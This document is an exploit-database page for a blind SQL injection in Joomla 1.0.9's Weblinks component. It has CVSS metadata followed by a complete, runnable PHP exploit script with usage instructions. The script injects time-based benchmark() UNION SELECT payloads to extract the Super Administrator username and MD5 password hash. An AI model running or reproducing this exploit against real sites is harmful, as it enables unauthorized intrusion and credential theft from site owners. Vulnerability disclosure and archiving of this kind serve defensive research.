Joomla <= 1.0.9 Weblinks blind SQL injection / admin credentials
CVE
Category
Price
Severity
CWE-89
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2012-09-23
CPE
cpe:cpe:/a:joomla:weblinks:1.0.9
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2012090162 Below is a copy:#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Joomla <= 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n";
echo "disclosure exploit (benchmark() vesion)\r\n";
echo "by rgod [email protected] \r\n";
echo "site: http://retrogod.altervista.org\r\n";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to Joomla\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from 'jos_'\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /joomla/ username password\r\n";
die;
}
/*
explaination:
same of http://retrogod.altervista.org/mambo_46rc1_sql.html
with some modifications to work against Joomla
and with an always true statement, to avoid to flood admin of e-mail notifications
about submissions (they simply do not succeed but injection works aswell)
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="jos_";
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data ="username=".$user;
$data.="&passwd=".$pass;
$data.="&remember=yes";
$data.="&option=login";
$data.="&Submit=Login";
$data.="&op2=login";
$data.="&lang=english";
$data.="&return=".urlencode("http://".$host.$path);
$data.="&message=0";
$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
ECHO $html;
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=2; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if ((strstr($cookie,"=+;")) | $cookie=="") {die("Unable to login...");}
else
{
echo "Done...\r\ncookie -> ".$cookie."\r\n";
}
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
$sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
echo "\r\n".$sql."\r\n";
$sql=urlencode($sql);
$data ="title=".$sql;
$data.="&catid=2";
$data.="&url=".urlencode("http://www.google.com");
$data.="&description=suntzuuuuuuu";
$data.="&id=";
$data.="&option=com_weblinks";
$data.="&task=save";
$data.="&ordering=0";
$data.="&approved=1";
$data.="&Returnid=0";
$data.="&referer=".urlencode("http://".$host.$path."index.php?option=com_frontpage&Itemid=1");
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet)."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 10) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;} //more than ten seconds? we succeed...
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$starttime=time();
$sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
echo "\r\n".$sql."\r\n";
$sql=urlencode($sql);
$data ="title=".$sql;
$data.="&catid=2";
$data.="&url=".urlencode("http://www.google.com");
$data.="&description=suntzuuuuuuu";
$data.="&id=";
$data.="&option=com_weblinks";
$data.="&task=save";
$data.="&ordering=0";
$data.="&approved=1";
$data.="&Returnid=0";
$data.="&referer=".urlencode("http://".$host.$path."index.php");
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
//debug
//echo quick_dump($packet)."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
//if you are here...
echo "Exploit succeeded...\r\n";
echo "--------------------------------------------------------------------\r\n";
echo "admin -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";
?>
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